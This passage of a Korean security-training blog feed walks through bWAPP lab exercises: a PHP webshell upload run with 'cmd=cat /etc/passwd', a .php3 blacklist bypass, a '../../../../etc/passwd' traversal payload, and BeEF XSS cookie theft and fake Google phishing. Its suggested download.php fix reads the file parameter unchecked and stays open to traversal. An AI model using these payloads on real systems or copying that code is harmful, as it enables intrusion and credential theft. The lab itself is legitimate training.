<p>상태 정보나 민감한 데이터 특히 사용자 세션 정보와 같은 중요 정보는 서버에 저장하고 보안 확인 절차도 서버에서 실행한다.</p>
<br>

<h2 id="16-포맷-스트링-삽입"><strong>16) 포맷 스트링 삽입</strong></h2>
<blockquote>
<p><strong>포맷 문자열을 지원하는 함수를 사용할 때, 외부 입력값에 포맷 문자열 포함 여부를 확인하지 않고 포맷 문자열 생성에 사용하는 경우 발생</strong></p>
</blockquote>
<p>공격자는 포맷 문자열을 이용해 취약한 프로세스를 공격하거나 메모리 내용을 읽고 쓸 수 있다. 이를 통해 취약한 프로세스의 권한을 취득해 임의의 코드를 실행할 수 있다.</p>
<p>공격자는 포맷 문자열을 이용해 내부 정보를 문자열로 만들 수 있고, 이를 그대로 사용하는 경우 중요 정보 유출로 이어질 수 있다.</p>
<br>

<h3 id="1-안전한-코딩기법-11"><strong>(1) 안전한 코딩기법</strong></h3>
<p>포맷 문자열을 처리하는 함수 사용 시 사용자 입력값을 직접적으로 포맷 문자열로 사용하거나 포맷 문자열 생성에 포함하지 않아야 한다. 사용자로부터 입력받은 데이터를 포맷 문자열로 사용하고자 하는 경우에는 서식 지정자를 포함하지 않거나 파이썬의 내장함수 또는 내장 변수 등이 포함되지 않도록 해야 한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - Bee box, Upload]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Bee-box-Upload</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Bee-box-Upload</guid>
            <pubDate>Sun, 31 Mar 2024 09:31:23 GMT</pubDate>
            <description><![CDATA[<h1 id="1-upload-취약점"><strong>1. Upload 취약점</strong></h1>
<blockquote>
<p><strong>파일 업로드 기능이 제공되는 경우, 파일의 크기와 개수, 종류들 제한하지 않고, 외부에서 접근할 수 있는 경로에 업로드 파일을 저장하는 경우 발생</strong></p>
</blockquote>
<br>

<h2 id="1-가이드"><strong>1) 가이드</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ae536e1a-e1b4-43d6-b71a-c5ee11a71f8c/image.png" alt=""></p>
<ul>
<li>파일 크기와 개수를 제한하지 않는 경우<ul>
<li>서버의 연결 및 디스크 자원을 고갈시켜 정상적인 서비스를 방해</li>
</ul>
</li>
<li>종류를 제한하지 않는 경우<ul>
<li>바이러스와 같은 파일을 업로드해서 해당 서버를 악성코드 유포지로 활용</li>
<li>서버에서 실행할 수 있는 파일을 업로드해서 실행</li>
<li>웹쉘(WebShell)</li>
</ul>
</li>
<li>외부에서 접근할 수 있는 경로에 업로드 파일을 저장하는 경우<ul>
<li>URL을 통해서 접근할 수 있는 경로에 위치</li>
<li>Web Document Root 아래에 위치</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-파일-업로드-기능-확인-방법"><strong>2) 파일 업로드 기능 확인 방법</strong></h2>
<blockquote>
<p><strong><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/form">form 태그</a> 설명</strong></p>
</blockquote>
<pre><code class="language-html">&lt;form enctype=&quot;multipart/form-data&quot;    method=&quot;post&quot; ... &gt; 
    &lt;input type=&quot;file&quot; ... &gt;
&lt;/form&gt;</code></pre>
<p>위 코드가 파일 업로드에 사용되는 코드다. </p>
<p>input type에 파일이 들어가면 enctype에는 multipart/form-data가 들어가게 되어 있다.</p>
<br>

<h2 id="3-방어-기법"><strong>3) 방어 기법</strong></h2>
<ol>
<li>업로드 파일의 크기와 개수를 제한<ul>
<li>설계 시 제공하는 서비스에 맞는 적절한 크기와 개수를 정의하는 것이 필요</li>
</ul>
</li>
<li>파일의 종류를 제한<ul>
<li>업로드 가능한 파일의 종류를 미리 정의하고 정의된 범위 내에서만 업로드 허용</li>
<li>화이트 리스트(허용 목록) 방식으로 제한</li>
<li>파일 종류를 비교하는 방법<ul>
<li>확장자 - 파일명이 어떻게 끝나는가로 판단</li>
<li>Content--Type</li>
<li><strong><a href="https://www.garykessler.net/library/file_sigs.html">File Signature</a></strong> - Magic Number</li>
</ul>
</li>
</ul>
</li>
<li>업로드 파일을 외부에서 접근할 수 없는 경로에 저장<ul>
<li>Web Root(document) 밖</li>
</ul>
</li>
<li>업로드 파일의 이름을 외부에서 알 수 없는 형태로 변경해서 알 수 없는 경로에 저장</li>
<li>업로드 파일의 실행 속성을 제거하고 저장</li>
</ol>
<br>

<h1 id="2-이미지-업로드-실습"><strong>2. 이미지 업로드 실습</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cf426790-a29d-484a-a46d-00b4fe33a8dc/image.png" alt=""></p>
<br>

<h2 id="1-이미지-업로드"><strong>1) 이미지 업로드</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6b9cb4e4-a31b-49b3-868f-71c1481039a3/image.png" alt=""></p>
<p>here에 마우스를 올리면 위와 같은 주소가 나온다. 이 주소는 외부에서 접근할 수 있는 경로에 업로드 파일명과 동일한 이름으로 저장하고 있는 것을 볼 수 있다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/b07aed70-3e90-4b2a-b78e-a4f985489182/image.png" alt=""></p>
<p>이 페이지는 php로 만들어진 페이지로 동작하고 있는데 이때 서버에서 실행할 수 있는 파일을 업로드 해본다.</p>
<br>

<h2 id="2-실행할-수-있는-파일-업로드"><strong>2) 실행할 수 있는 파일 업로드</strong></h2>
<blockquote>
<p><strong>PHP로 만들어진 웹쉘 업로드</strong></p>
</blockquote>
<p>PHP로 만들어진 웹쉘은 kali에서 제공하는데 /usr/share/webshells/php 경로에 simple-backdoor.php 파일이다.</p>
<p>이 파일을 업로드 페이지에 업로드 하게되면 위와 같이 경로 주소가 나오게 된다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/18c9e8e4-5d20-45e3-b9f8-b609f9311807/image.png" alt=""></p>
<p>위에 나온 주소로 이동하게 되면 주소 뒤에 ?cmd=cat /cat/passwd를 넣으라는 사용법이 나온다.
사용법에 따라 주소를 추가로 넣게 되면 passwd의 내용이 나오는 것을 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c4c1fa9a-7e90-42a8-ac28-d46fd8f17cc8/image.png" alt=""></p>
<br>

<h2 id="3-취약한-소스-코드-확인"><strong>3) 취약한 소스 코드 확인</strong></h2>
<blockquote>
<p> <strong>sudo gedit /var/www/bWAPP/unrestricted_file_upload.php</strong></p>
</blockquote>
<p>코드가 길어 내용이 길어지기 때문에 코드를 간략하게 본다. 위 파일에 들어가면 코드 원본이 있으므로 참고한다.</p>
<br>

<pre><code class="language-php">switch($_COOKIE[&quot;security_level&quot;])
    {
        case &quot;0&quot; :                     
            move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], &quot;images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;]);
            break;
    }</code></pre>
<p>이 코드는 업로드 파일을 현재 디렉터리의 images 아래에 업로드 파일명으로 저장하는 코드다. </p>
<p>그렇기 때문에 위 실습에서 외부에서 접근할 수 있는 주소로 나오게 된 것이다.</p>
<br>

<h3 id="1-보안-등급이-중간인-경우"><strong>(1) 보안 등급이 중간인 경우</strong></h3>
<blockquote>
<p><strong>file_upload_check_1 함수</strong></p>
</blockquote>
<pre><code class="language-php">function file_upload_check_1($file, $file_extensions = array(&quot;asp&quot;, &quot;aspx&quot;, &quot;dll&quot;, &quot;exe&quot;, &quot;jsp&quot;, &quot;php&quot;), $directory = &quot;images&quot;)                                       
{
    $file_array = explode(&quot;.&quot;, $file[&quot;name&quot;]);                

    // Puts the last part of the array (= the file extension) in a new variabele
    // Converts the characters to lower case
    $file_extension = strtolower($file_array[count($file_array) - 1]);    

    // Searches if the file extension exists in the &#39;allowed&#39; file extensions array   
    if(in_array($file_extension, $file_extensions))            
    {
       $file_error = &quot;Sorry, the file extension is not allowed. The following extensions are blocked: &lt;b&gt;&quot; . join(&quot;, &quot;, $file_extensions) . &quot;&lt;/b&gt;&quot;;

       return $file_error;
    }

    // Checks if the file already exists in the directory
    if(is_file(&quot;$directory/&quot; . $file[&quot;name&quot;]))                
    {
        $file_error = &quot;Sorry, the file already exists. Please rename the file...&quot;;      
    }

    return $file_error;
}</code></pre>
<p>file_upload_check_1 함수 코드인데, 중간에 많은 내용이 생략되었고 필요한 부분만 잘라서 가져온 것이기 때문에, 파일에 있는 함수를 참고하기를 바란다.</p>
<p>file_extensions로 허용되지 않는(블랙 리스트) 파일 확장자를 정의하고 있다. </p>
<ul>
<li>file_array = explode<ul>
<li>확장자 검증을 위해서 .을 기준으로 분리</li>
</ul>
</li>
<li>file_extension = ...  <ul>
<li>확장자를 소문자로 변환</li>
</ul>
</li>
<li>if(in_array(...))<ul>
<li>제한 목록에 포함된 경우 오류 처리</li>
</ul>
</li>
<li>if(is_file(...))<ul>
<li>동일한 파일이 존재하는지 검증</li>
</ul>
</li>
</ul>
<br>

<h3 id="2-확장자-변경"><strong>(2) 확장자 변경</strong></h3>
<p>위 코드를 확인했을 때 블랙 리스트로 정의가 되어 있었다. 블랙 리스트에는 PHP3가 정의되어 있지 않기 때문에 PHP3로 확장자를 변경해서 업로드 해볼 수 있다.</p>
<p>보안 등급을 중간으로 올린 후 업로드 페이지로 들어간다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/278e36ca-a9af-437c-8dd0-eac81c19fa30/image.png" alt=""></p>
<p>보안 등급이 중간단계인 경우 php 파일을 업로드 하려고 하면 블랙 리스트에 정의 되어 있어 오류가 발생한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8372d113-4a34-4c5b-9d3b-e4bb4e2822ec/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b0fcefda-4f86-4a40-96c6-99987260b2c7/image.png" alt=""></p>
<br>

<p>그러나 위에서 말했듯이 확장자를 php3으로 바꿔 업로드 하면 업로드가 되는 것을 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8912b580-1a94-44fc-b34b-db0940ee1be8/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3e8a0710-e03a-4146-8c73-36afc6c6c5df/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/df32de9c-6ec9-4f18-8f7f-2b132d1e21d8/image.png" alt=""></p>
<p>블랙 리스트로 정의했을 때 발생할 수 있는 보안 사고를 보여주는 예제이다.</p>
<br>

<h3 id="3-보안-등급이-가장-높은-경우"><strong>(3) 보안 등급이 가장 높은 경우</strong></h3>
<pre><code class="language-php">function file_upload_check_2($file, $file_extensions = array(&quot;jpeg&quot;, &quot;jpg&quot;, &quot;png&quot;, &quot;gif&quot;), $directory = &quot;images&quot;)
{        

    // Searches if the file extension exists in the &#39;allowed&#39; file extensions array   
    if(!in_array($file_extension, $file_extensions))    
    {
       $file_error = &quot;Sorry, the file extension is not allowed. Only the following extensions are allowed: &lt;b&gt;&quot; . join(&quot;, &quot;, $file_extensions) . &quot;&lt;/b&gt;&quot;;

       return $file_error;
    }</code></pre>
<p>이 코드도 많은 생략이 되었으므로 파일에서 코드를 찾아보기 바란다.</p>
<ul>
<li>file_extensions<ul>
<li>화이트 리스트 방식으로 확장자 체한</li>
</ul>
</li>
<li>if(!in_array(...))<ul>
<li>화이트 리스트에 포함되지 않은 확장자인 경우 오류 처리</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/1eb441ea-9360-46f9-aafe-026d2916bbc9/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c0dcf828-288f-4ebf-876e-e4d23debe703/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7cee7398-8a36-48fb-afd5-a1f6b2f14100/image.png" alt=""></p>
<br>

<h2 id="4-웹-루트-밖-저장"><strong>4) 웹 루트 밖 저장</strong></h2>
<p>업로드 파일이 /data/images/myimage.gif 형태로 저장되어 있다고 가정한다.</p>
<p>이때 data 앞에 있는 / 이 디렉터리는 해당 서버의 루트 디렉터리를 의미한다.</p>
<p>그렇다면 아래와 같이 접근이 불가다.</p>
<pre><code class="language-html">&lt;img src=&quot;/data/images/myimage.gif&quot;&gt;

&lt;a href=&quot;/data/images/myimage.gif&quot; &gt;</code></pre>
<p>왜냐하면 위 코드의 data 앞에 있는 / 이 디렉터리는 웹 루트 디렉터리를 의미하기 때문이다. </p>
<p>업로드 파일에 접근하려면 다운로드 기능을 추가해야 한다.</p>
<br>

<pre><code class="language-html">&lt;img src=&quot;download?file=/data/images/myimage.gif&quot;&gt;

&lt;a href=&quot;download?file=/data/images/myimage.gif&quot;&gt;</code></pre>
<p>위 코드처럼 두 가지의 방법을 사용할 수 있다. download는 요청 파라미터로 전달된 경로의 파일을 읽어서 응답으로 반환한다. 이때 되도록 업로드 파일이 저장된 경로는 외부에 노출되지 않는 것이 안전하다.</p>
<br>

<pre><code class="language-html">&lt;img src=&quot;download?file=myimage.gif&quot;&gt;

&lt;a href=&quot;download?file=myimage.gif&quot;&gt;</code></pre>
<p>여기서 download는 요청 파라미터로 전달된 파일을 해당 서버의 /data/images 디렉터리에서 읽어서 응답으로 반환한다.</p>
<p>경로는 서버 내부에 숨겨 놓고 파일명만 받는 것이 안전하다.</p>
<br>

<h3 id="1-다운로드-기능-유의-사항"><strong>(1) 다운로드 기능 유의 사항</strong></h3>
<ul>
<li>지정된 경로를 벗어나서 파일을 읽지 못하도록 제한<ul>
<li>경로 조작 취약점(path traversal)에 노출</li>
</ul>
</li>
</ul>
<p>download?file=myimage.gif 로 만들면 좋다고 했다. 하지만 서버 내부에서 file의 경로를 검증하지 않고 그냥 사용하면 지정된 경로를 조작할 수 있는 문자열을 넣을 수 있게 된다.</p>
<p>download?file=../../../../etc/passwd 로 상위 디렉터리로 이동할 수 있는 명령어를 사용해서 루트 디렉터리로 이동해 시스템 파일에 접근할 수 있게 된다. </p>
<br>

<h3 id="2-취약한-코드-수정"><strong>(2) 취약한 코드 수정</strong></h3>
<pre><code class="language-php">        case &quot;2&quot; :            

            $file_error = file_upload_check_2($_FILES[&quot;file&quot;], array(&quot;jpg&quot;,&quot;png&quot;));

            if(!$file_error)
            {

                move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], &quot;/data/images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;]);
                // 외부에서 접근할 수 없는 경로에 파일을 저장하도록 수정
            }            

            break;</code></pre>
<br>

<pre><code class="language-php">if(isset($_POST[&quot;form&quot;]))
    {

        if(!$file_error)
        {
            echo &quot;The image has been uploaded &lt;a href=\&quot;/data/images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot; target=\&quot;_blank\&quot;&gt;here&lt;/a&gt;.&quot;;

        echo &quot;&lt;img src=\&quot;/data/images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot;&gt;&quot;;
        }    //  업로드된 파일에 대한 링크(&lt;a&gt;)와 출력(&lt;img&gt;)을 저장된 경로로 수정 
        //  주소를 통해서 접근할 수 없으므로 링크도 출력도 되지 않음</code></pre>
<br>

<h3 id="3-bee-box-가상머신에-파일-저장을-위한-디렉터리-생성"><strong>(3) Bee box 가상머신에 파일 저장을 위한 디렉터리 생성</strong></h3>
<blockquote>
<p>sudo mkdir -p /data/images<br>ls /data/images<br>sudo chown root:www-data /data/images<br>sudo chmod 777 /data/images</p>
</blockquote>
<br>

<h3 id="4-kali에서-이미지-업로드"><strong>(4) Kali에서 이미지 업로드</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3934a5de-66fc-4ab2-acc1-e4b016a5dfda/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d557a163-6528-4da1-bf0a-0a78d8181d13/image.png" alt=""></p>
<p>웹 루트 디렉터리 아래에 존재하지 않는 디렉터리와 파일을 참조하므로 링크도 동작하지 않고 이미지도 나타나지 않는다.</p>
<br>

<h3 id="5-다운로드-기능-추가"><strong>(5) 다운로드 기능 추가</strong></h3>
<blockquote>
<p><strong>sudo gedit /var/www/bWAPP/download.php</strong></p>
</blockquote>
<pre><code class="language-php">&lt;?php
  $target_Dir = &quot;/data/images/&quot;;
  $file = $_GET[&#39;file&#39;];
  $down = $target_Dir.$file;
  $filesize = filesize($down);

  if(file_exists($down)){
    header(&quot;Content-Type:application/octet-stream&quot;);
    header(&quot;Content-Disposition:attachment;filename=$file&quot;);
    header(&quot;Content-Transfer-Encoding:binary&quot;);
    header(&quot;Content-Length:&quot;.filesize($target_Dir.$file));
    header(&quot;Cache-Control:cache,must-revalidate&quot;);
    header(&quot;Pragma:no-cache&quot;);
    header(&quot;Expires:0&quot;);
    if(is_file($down)){
        $fp = fopen($down,&quot;r&quot;);
        while(!feof($fp)){
          $buf = fread($fp,8096);
          $read = strlen($buf);
          print($buf);
          flush();
        }
        fclose($fp);
    }
  } else{
    ?&gt;&lt;script&gt;alert(&quot;존재하지 않는 파일입니다.&quot;)&lt;/script&gt;&lt;?
  }
?&gt;</code></pre>
<br>

<h3 id="6-링크와-이미지-출력-반영"><strong>(6) 링크와 이미지 출력 반영</strong></h3>
<pre><code class="language-php">    if(isset($_POST[&quot;form&quot;]))
    {

        if(!$file_error)
        {

/*
            echo &quot;The image has been uploaded &lt;a href=\&quot;/data/images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot; target=\&quot;_blank\&quot;&gt;here&lt;/a&gt;.&quot;;

        echo &quot;&lt;img src=\&quot;/data/images/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot;&gt;&quot;;
*/
            echo &quot;The image has been uploaded &lt;a href=\&quot;download.php?file=&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot; target=\&quot;_blank\&quot;&gt;here&lt;/a&gt;.&quot;;

        echo &quot;&lt;img src=\&quot;download.php?file=&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;] . &quot;\&quot;&gt;&quot;;


        }

        else
        {

            echo &quot;&lt;font color=\&quot;red\&quot;&gt;&quot; . $file_error . &quot;&lt;/font&gt;&quot;;        

        }

    }</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0f6e08d1-8fc7-44a8-b3ae-5669b6844541/image.png" alt=""></p>
<p>이미지와 링크가 출력되는 것을 볼 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Bee box, BeEF, XSS, CSRF]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-BeEF-XSS-CSRF</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-BeEF-XSS-CSRF</guid>
            <pubDate>Sat, 30 Mar 2024 16:23:35 GMT</pubDate>
            <description><![CDATA[<h1 id="1-beef를-이용한-xss-공격"><strong>1. BeEF를 이용한 XSS 공격</strong></h1>
<h2 id="1-설치-및-실행"><strong>1) 설치 및 실행</strong></h2>
<h3 id="1-설치"><strong>(1) 설치</strong></h3>
<blockquote>
<p><strong>sudo apt install beef-xss 입력으로 설치</strong></p>
</blockquote>
<br>

<h3 id="2-실행"><strong>(2) 실행</strong></h3>
<blockquote>
<p><strong>sudo beef-xss 입력 실행</strong></p>
</blockquote>
<p>처음 실행하면 기본 비밀번호 재 설정을 해야 한다. 각자의 비밀번호를 입력하고 넘어가면 127.0.0.1:3000 주소로 BeEF 페이지가 열린다. ID에는 beef를 입력하고 각자가 설정한 비밀번호를 입력하고 로그인한다.</p>
<br>

<h2 id="2-xss-공격"><strong>2) XSS 공격</strong></h2>
<h3 id="1-xss---storedblog"><strong>(1) XSS - Stored(Blog)</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c119437a-cfa0-44b8-a88c-6eab95902d49/image.png" alt=""></p>
<p>이전 포스팅에서 스크립트로 공격했던 페이지에서 BeEF로 공격 실습한다.</p>
<br>

<h3 id="2-hookjs"><strong>(2) hook.js</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/52dc30a9-9aac-4441-82f1-17d49217bc08/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/9b646178-b5e1-4712-ad6a-f694062d53de/image.png" alt=""></p>
<p>Kali 가상머신에서 XSS 취약점을 가지고 있는 게시판에 hook.js 파일을 실행하는 글을 등록한다.</p>
<br>

<h3 id="3-beef-확인"><strong>(3) BeEF 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/1c749a6d-537b-4bc4-b3ce-9647bbd8279d/image.png" alt=""></p>
<p>BeEF 콘솔에서 스크립트 코드가 실행된 것을 확인할 수 있다.</p>
<p>위 bee.box에 나온 IP 주소는 Kali 가상머신의 주소다.</p>
<br>

<h3 id="4-호스트-pc"><strong>(4) 호스트 PC</strong></h3>
<p>호스트 PC에서 XSS에 위 게시글이 저장된 페이지를 접속해서 hook.js가 계속해서 호출하는 것을 확인한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/23bff932-f6ef-4b85-baf5-93ffb94b089e/image.png" alt=""></p>
<br>

<h3 id="5-beef-확인"><strong>(5) BeEF 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/90b0094f-a2be-4517-8c72-445f2e8cb8d7/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3771cb81-725d-4ef7-b429-2cb56cdb98d6/image.png" alt=""></p>
<p>BeEF 콘솔을 다시 확인하면 호스트 PC가 감염된 것을 볼 수 있고, 감염된 브라우저 정보를 확인할 수 있다.</p>
<p>정보 위에 있는 탭 중 Commands를 들어가면 더 많은 정보를 얻을 수 있다.</p>
<br>

<p><strong>쿠키</strong></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fb66d8b0-9719-488c-88ab-a74dc78b03a4/image.png" alt=""></p>
<p>Get Cookie를 누르면 오른쪽 칸 아래에 Execute 버튼이 있는데, 버튼을 누르면 쿠키를 얻기 위해 스크립트를 만들지 않아도 쿠키 정보를 얻을 수 있다.</p>
<p>쿠키 정보만 얻을 수 있는 것은 아니고, Module Tree를 확인해 보면 많은 정보를 얻을 수 있다.</p>
<ul>
<li>Get Page HTML - HTML 소스 코드 정보</li>
<li>Get Page HREFs - 링크 정보</li>
<li>Play Sound - 사운드 파일의 링크를 입력하면 브라우저에서 소리가 난다.</li>
<li>Redirect Browser - 입력한 주소로 리다이렉션</li>
</ul>
<br>

<p><strong>Fake Flash Update</strong></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/dea15381-aa5b-49b9-9cf0-0c71c0f87d25/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fec23c81-194e-412c-8cc2-452b98131a96/image.png" alt=""></p>
<p>호스트 PC에서 이상한 업데이트 창이 나오게 되는데 많은 사람은 위 설명을 자세히 읽지 않고 설치하게 된다.</p>
<br>

<p><strong>Google Phishing</strong></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/90cbe1b7-6ace-4992-8f87-3c8840b4dc73/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a8171c77-84f7-44e8-981d-5c94156a349c/image.png" alt=""></p>
<p>Execute 하면 구글 로그인 페이지가 나오게 된다. 구글은 익숙하고 신뢰 있는 사이트로 생각하기 때문에 많은 사람들은 가짜 페이지에 대해 의심 없이 로그인하게 된다. </p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/61c119e7-3232-409d-8c15-73c9150eb6a7/image.png" alt=""></p>
<p>로그인하게 되면 BeEF 콘솔에 정보가 나오게 된다.</p>
<p>가짜 페이지에서 로그인 시도를 하면 로그인 시도가 잘못되었다는 로그인 실패 메시지를 몇 번 보여주고 원래 구글 페이지로 리다이렉션을 한다. 그렇게 되면 사용자는 진짜 구글 페이지에서 로그인하고 로그인이 되어 의심을 하지 않는다.</p>
<p>하지만 몇 번의 입력한 값들은 공격자가 이미 빼돌리게 된다.</p>
<br>

<h2 id="3-취약한-소스-코드-확인"><strong>3) 취약한 소스 코드 확인</strong></h2>
<blockquote>
<p><strong>sudo gedit /var/www/bWAPP/xss_stored_1.php</strong><br><strong>functions_external.php</strong></p>
</blockquote>
<br>

<pre><code class="language-php">//xss_stored_1.php

while($row = $recordset-&gt;fetch_object())
{

    if($_COOKIE[&quot;security_level&quot;] == &quot;2&quot;)
    {
?&gt;
        &lt;tr height=&quot;40&quot;&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;?php echo $row-&gt;id; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;owner; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;date; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo xss_check_3($row-&gt;entry); ?&gt;&lt;/td&gt;     
        &lt;/tr&gt;
&lt;?php
    }
    else
        if($_COOKIE[&quot;security_level&quot;] == &quot;1&quot;)
        {
?&gt;
        &lt;tr height=&quot;40&quot;&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;?php echo $row-&gt;id; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;owner; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;date; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo xss_check_4($row-&gt;entry); ?&gt;&lt;/td&gt;     
        &lt;/tr&gt;
&lt;?php
        }
        else        
            {
?&gt;
        &lt;tr height=&quot;40&quot;&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;?php echo $row-&gt;id; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;owner; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;date; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row-&gt;entry; ?&gt;&lt;/td&gt;             
        &lt;/tr&gt;                                   
&lt;?php          
            }
}      


// functions_external.php

function xss_check_3($data, $encoding = &quot;UTF-8&quot;)
{
    // htmlspecialchars - converts special characters to HTML entities    
    // &#39;&amp;&#39; (ampersand) becomes &#39;&amp;amp;&#39; 
    // &#39;&quot;&#39; (double quote) becomes &#39;&amp;quot;&#39; when ENT_NOQUOTES is not set
    // &quot;&#39;&quot; (single quote) becomes &#39;&amp;#039;&#39; (or &amp;apos;) only when ENT_QUOTES is set
    // &#39;&lt;&#39; (less than) becomes &#39;&amp;lt;&#39;
    // &#39;&gt;&#39; (greater than) becomes &#39;&amp;gt;&#39;          
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

function xss_check_4($data)
{
    // addslashes-returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote (&#39;), double quote (&quot;), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);
}</code></pre>
<ul>
<li>보안 등급이 높은 경우  <ul>
<li>xss_check_3 함수 호출</li>
<li>&lt;script&gt; 태그가 &amp; lt; script &amp; gt; 형태로 변경되어 전달</li>
<li>&amp; lt; script &amp; gt; 형태를 브라우저는 &lt;script&gt; 텍스트로 단순 출력</li>
</ul>
</li>
<li>보안 등급이 중간인 경우<ul>
<li>xss_check_4 함수 호출</li>
<li>addslashes 함수</li>
<li>작은따옴표, 큰따옴표, 백슬래시, NUL에 대해 이스케이프</li>
</ul>
</li>
<li>보안 등급이 가장 낮은 경우<ul>
<li>DB에 저장된 내용을 그대로 출력</li>
</ul>
</li>
</ul>
<br>

<h1 id="2-django-에서-xss"><strong>2. Django 에서 XSS</strong></h1>
<h2 id="1-질문에-스크립트-코드-포함-저장"><strong>1) 질문에 스크립트 코드 포함 저장</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/978416d1-4d2c-4613-b87d-658cdd301ebb/image.png" alt=""></p>
<br>

<h2 id="2-저장된-질문-확인"><strong>2) 저장된 질문 확인</strong></h2>
<h3 id="1-질문-페이지-확인"><strong>(1) 질문 페이지 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cb0158ef-2e93-4297-8137-79a0b761c5c0/image.png" alt=""></p>
<p>스크립트 코드가 실행되지 않고 단순한 문자열로 출력된다. 페이지 소스 코드는 어떻게 되어 있는지 확인해 본다.</p>
<br>

<h3 id="2-페이지-소스-코드"><strong>(2) 페이지 소스 코드</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/37ef7148-d24f-4a12-a53d-d610079de37d/image.png" alt=""></p>
<p>소스 코드에서 보면 스크립트 코드가 HTML 인코딩되어 단순한 문자열로 출력되는 것을 확인할 수 있다.</p>
<br>

<h3 id="3-db-확인"><strong>(3) DB 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a0cef7e3-9756-4d90-ab34-782faba18c64/image.png" alt=""></p>
<p>DB에는 스크립트 코드가 들어있는 것을 확인할 수 있다.</p>
<br>

<h3 id="4-코드-확인"><strong>(4) 코드 확인</strong></h3>
